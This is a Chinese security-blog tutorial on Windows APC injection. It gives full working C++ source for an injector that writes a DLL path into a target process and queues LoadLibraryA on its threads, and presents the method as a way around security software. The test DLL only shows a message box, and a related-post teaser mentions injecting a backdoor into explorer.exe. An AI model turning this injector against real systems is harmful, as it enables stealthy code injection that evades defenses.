简介

在之前的文章中笔者曾经为大家介绍过使用CreateRemoteThread函数来实现远程线程注入(链接),毫无疑问最经典的注入方式,但也因为如此,这种方式到今天已经几乎被所有安全软件所防御。所以今天笔者要介绍的是一种相对比较“另类”的方式,被称作“APC注入”。APC(Asynchronous Procedure Call),全称为异步过程调用,指的是函数在特定线程中被异步执行。简单地说,在Windows操作系统中,每一个进程的每一个线程都有自己的APC队列,可以使用QueueUserAPC函数把一个APC函数压入APC队列中。当处于用户模式的APC被压入到线程APC队列后,线程并不会立刻执行压入的APC函数,而是要等到线程处于可通知状态才会执行,也就是说,只有当一个线程内部调用WaitForSingleObject, WaitForMultiObjects, SleepEx等函数将自己处于挂起状态时,才会执行APC队列函数,执行顺序与普通队列相同,先进先出(FIFO),在整个执行过程中,线程并无任何异常举动,不容易被察觉,但缺点是对于单线程程序一般不存在挂起状态,所以APC注入对于这类程序没有明显效果。

代码样例

  • DLL程序代码
////////////////////////////////
//
// FileName : HelloWorldDll.cpp
// Creator : PeterZheng
// Date : 2018/11/02 11:10
// Comment : HelloWorld Test DLL ^_^
//
//////////////////////////////// #include <iostream>
#include <Windows.h> using namespace std; BOOL WINAPI DllMain(
_In_ HINSTANCE hinstDLL,
_In_ DWORD fdwReason,
_In_ LPVOID lpvReserved
)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
MessageBox(NULL, "HelloWorld", "Tips", MB_OK);
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
  • 注入程序代码
////////////////////////////////
//
// FileName : APCInject.cpp
// Creator : PeterZheng
// Date : 2018/12/17 16:27
// Comment : APC Injector
//
//////////////////////////////// #pragma once #include <cstdio>
#include <cstdlib>
#include <iostream>
#include <strsafe.h>
#include <Windows.h>
#include <TlHelp32.h> using namespace std; // 根据进程名字获取进程Id
BOOL GetProcessIdByName(CHAR *szProcessName, DWORD& dwPid)
{
HANDLE hSnapProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapProcess == NULL)
{
printf("[*] Create Process Snap Error!\n");
return FALSE;
}
PROCESSENTRY32 pe32 = { 0 };
RtlZeroMemory(&pe32, sizeof(pe32));
pe32.dwSize = sizeof(pe32);
BOOL bRet = Process32First(hSnapProcess, &pe32);
while (bRet)
{
if (_stricmp(pe32.szExeFile, szProcessName) == 0)
{
dwPid = pe32.th32ProcessID;
return TRUE;
}
bRet = Process32Next(hSnapProcess, &pe32);
}
return FALSE;
} // 获取对应进程Id的所有线程Id
BOOL GetAllThreadIdByProcessId(DWORD dwPid, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength)
{
DWORD dwThreadIdListLength = 0;
DWORD dwThreadIdListMaxCount = 2000;
LPDWORD pThreadIdList = NULL;
pThreadIdList = (LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pThreadIdList == NULL)
{
printf("[*] Create Thread Id Space Error!\n");
return FALSE;
}
RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof(DWORD));
THREADENTRY32 te32 = { 0 };
RtlZeroMemory(&te32, sizeof(te32));
te32.dwSize = sizeof(te32);
HANDLE hThreadSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hThreadSnapshot == NULL)
{
printf("[*] Create Thread Snap Error!\n");
return FALSE;
}
BOOL bRet = Thread32First(hThreadSnapshot, &te32);
while (bRet)
{
if (te32.th32OwnerProcessID == dwPid)
{
if (dwThreadIdListLength >= dwThreadIdListMaxCount)
{
break;
}
pThreadIdList[dwThreadIdListLength++] = te32.th32ThreadID;
}
bRet = Thread32Next(hThreadSnapshot, &te32);
}
*pThreadIdListLength = dwThreadIdListLength;
*ppThreadIdList = pThreadIdList;
return TRUE;
} // 主函数
int main(int argc, char* argv[])
{
if (argc != 3)
{
printf("[*] Format Error! \nYou Should FOLLOW THIS FORMAT: <APCInject EXENAME DLLNAME> \n");
return 0;
}
LPSTR szExeName = (LPSTR)VirtualAlloc(NULL, 100, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
LPSTR szDllPath = (LPSTR)VirtualAlloc(NULL, 100, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
RtlZeroMemory(szExeName, 100);
RtlZeroMemory(szDllPath, 100);
StringCchCopy(szExeName, 100, argv[1]);
StringCchCopy(szDllPath, 100, argv[2]);
DWORD dwPid = 0;
BOOL bRet = GetProcessIdByName(szExeName, dwPid);
if (!bRet)
{
printf("[*] Get Process Id Error!\n");
return 0;
}
LPDWORD pThreadIdList = NULL;
DWORD dwThreadIdListLength = 0;
bRet = GetAllThreadIdByProcessId(dwPid, &pThreadIdList, &dwThreadIdListLength);
if (!bRet)
{
printf("[*] Get All Thread Id Error!\n");
return 0;
}
// 打开进程
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
if (hProcess == NULL)
{
printf("[*] Open Process Error!\n");
return 0;
}
DWORD dwDllPathLen = strlen(szDllPath) + 1;
// 申请目标进程空间,用于存储DLL路径
LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, dwDllPathLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (lpBaseAddress == NULL)
{
printf("[*] VirtualAllocEx Error!\n");
return 0;
}
SIZE_T dwWriten = 0;
// 把DLL路径字符串写入目标进程
WriteProcessMemory(hProcess, lpBaseAddress, szDllPath, dwDllPathLen, &dwWriten);
if (dwWriten != dwDllPathLen)
{
printf("[*] Write Process Memory Error!\n");
return 0;
}
LPVOID pLoadLibraryFunc = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
if (pLoadLibraryFunc == NULL)
{
printf("[*] Get Func Address Error!\n");
return 0;
}
HANDLE hThread = NULL;
// 倒序插入线程APC,可避免出现在插入时进程崩溃的现象
for (int i = dwThreadIdListLength - 1; i >= 0; i--)
{
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);
if (hThread)
{
QueueUserAPC((PAPCFUNC)pLoadLibraryFunc, hThread, (ULONG_PTR)lpBaseAddress);
CloseHandle(hThread);
hThread = NULL;
}
} // DLL路径分割,方便输出
LPCSTR szPathSign = "\\";
LPSTR p = NULL;
LPSTR next_token = NULL;
p = strtok_s(szDllPath, szPathSign, &next_token);
while (p)
{
StringCchCopy(szDllPath, 100, p);
p = strtok_s(NULL, szPathSign, &next_token);
}
printf("[*] APC Inject Info [%s ==> %s] Success\n", szDllPath, szExeName); if (hProcess)
{
CloseHandle(hProcess);
hProcess = NULL;
}
if (pThreadIdList)
{
VirtualFree(pThreadIdList, 0, MEM_RELEASE);
pThreadIdList = NULL;
}
VirtualFree(szDllPath, 0, MEM_RELEASE);
VirtualFree(szExeName, 0, MEM_RELEASE);
ExitProcess(0);
return 0;
}

运行截图

参考资料

  1. 《Windows黑客编程技术详解》【甘迪文 著】

安全之路 —— 利用APC队列实现跨进程注入的更多相关文章

  1. 利用multiprocessing.managers开发跨进程生产者消费者模型

    研究了下multiprocessing.managers,略有收获,随笔一篇: 核心思路是构造一个manager进程,这个进程可以通过unix socket或tcp socket与其它进程通信:因为利 ...

  2. 安全之路 —— 无DLL文件实现远程进程注入

    简介 在之前的章节中,笔者曾介绍过有关于远程线程注入的知识,将后门.dll文件注入explorer.exe中实现绕过防火墙反弹后门.但一个.exe文件总要在注入时捎上一个.dll文件着实是怪麻烦的,那 ...

  3. Android中的跨进程通信方法实例及特点分析(一):AIDL Service

    转载请注明出处:http://blog.csdn.net/bettarwang/article/details/40947481 近期有一个需求就是往程序中增加大数据的採集点,可是由于我们的Andro ...

  4. 利用rabbit_mq队列消息实现对一组主机进行命令下发

    目的: 利用rabbit_mq队列消息实现对一组主机进行命令下发 server: #!/usr/bin/env python3.5 # -*- coding:utf8 -*- import os,sy ...

  5. 利用location.hash+iframe跨域获取数据详解

    前言 如果看懂了前文利用window.name+iframe跨域获取数据,那么此文也就很好理解了.一样都是动态插入一个iframe,然后把iframe的src指向服务端地址,而服务端同样都是输出一段j ...

  6. 利用window.name+iframe跨域获取数据详解

    详解 前文提到用jsonp的方式来跨域获取数据,本文为大家介绍下如何利用window.name+iframe跨域获取数据. 首先我们要简单了解下window.name和iframe的相关知识.ifra ...

  7. 用户层APC队列使用

    一 参考 https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-que ...

  8. iframe 跨域问题解决方案 利用window.name+iframe跨域获取数据详解

    详解 前文提到用jsonp的方式来跨域获取数据,本文为大家介绍下如何利用window.name+iframe跨域获取数据. 首先我们要简单了解下window.name和iframe的相关知识.ifra ...

  9. 利用localStorage事件来跨标签页共享sessionStorage

    //干货 利用localStorage事件来跨标签页共享sessionStorage //因为cookie保存字节数量有限,很多童鞋考虑用html5 storage来保存临时数据,Sessionsto ...

随机推荐

  1. shiro源码篇 - shiro的filter,你值得拥有

    前言 开心一刻 已经报废了一年多的电脑,今天特么突然开机了,吓老子一跳,只见电脑管家缓缓地出来了,本次开机一共用时一年零六个月,打败了全国0%的电脑,电脑管家已经对您的电脑失去信心,然后它把自己卸载了 ...

  2. Tomcat:At least one JAR was scanned for TLDs yet contained no TLDs

    启动Tomcat的时候,经常见到这样的BUG:   14-Apr-2019 13:53:25.198 信息 [localhost-startStop-1] org.apache.jasper.serv ...

  3. Java 趣史-差点把 Java 命名成了 Silk(丝绸)

    差点把 Java 命名成了 Silk(丝绸) Java 命名的由来 Java是印度尼西亚爪哇岛的英文名称,因盛产咖啡而闻名.Java语言中的许多库类名称,多与咖啡有关:如JavaBeans(咖啡豆). ...

  4. 翻译:INSERT(已提交到MariaDB官方手册)

    本文为mariadb官方手册:INSERT的译文. 原文:https://mariadb.com/kb/en/insert/我提交到MariaDB官方手册的译文:https://mariadb.com ...

  5. HBase的java客户端测试(一)---DDL操作

    测试准备 [首先同步时间:] for node in CloudDeskTop master01 master02 slave01 slave02 slave03;do ssh $node " ...

  6. TCP三次握手与Tcpdump抓包分析过程

    一.TCP连接建立(三次握手) 过程 客户端A,服务器B,初始序号seq,确认号ack 初始状态:B处于监听状态,A处于打开状态 A -> B : seq = x (A向B发送连接请求报文段,A ...

  7. golang高性能RPC:Apache Thrift安装使用完全攻略

    在企业应用中RPC的使用可以说是十分的广泛,使用该技术可以方便的与各种程序交互而不用考虑其编写使用的语言. 如果你对RPC的概念还不太清楚,可以点击这里. 现今市面上已经有许多应用广泛的RPC框架,比 ...

  8. [PHP] 理解依赖注入

    两个类有依赖关系的时候 使用者通过构造函数参数,方法或属性等方式将具体组件,传给自己 $storage=new Storge(); //构造函数注入 class User{ public functi ...

  9. vue-cli 3.x 开发插件并发布到 npm

    为了摆脱咸鱼的身份,我给自己定了一个开源项目的目标 于是抽空写了一个 textarea,打算发布到 npm 的时候却遇到了问题 之前用 vue-cli 2.x 的时候,打包配置项非常透明,可以很容易的 ...

  10. 09-HTML-form标签

    <html> <head>  <title>form标签学习</title>  <meta charset="utf-8"/& ...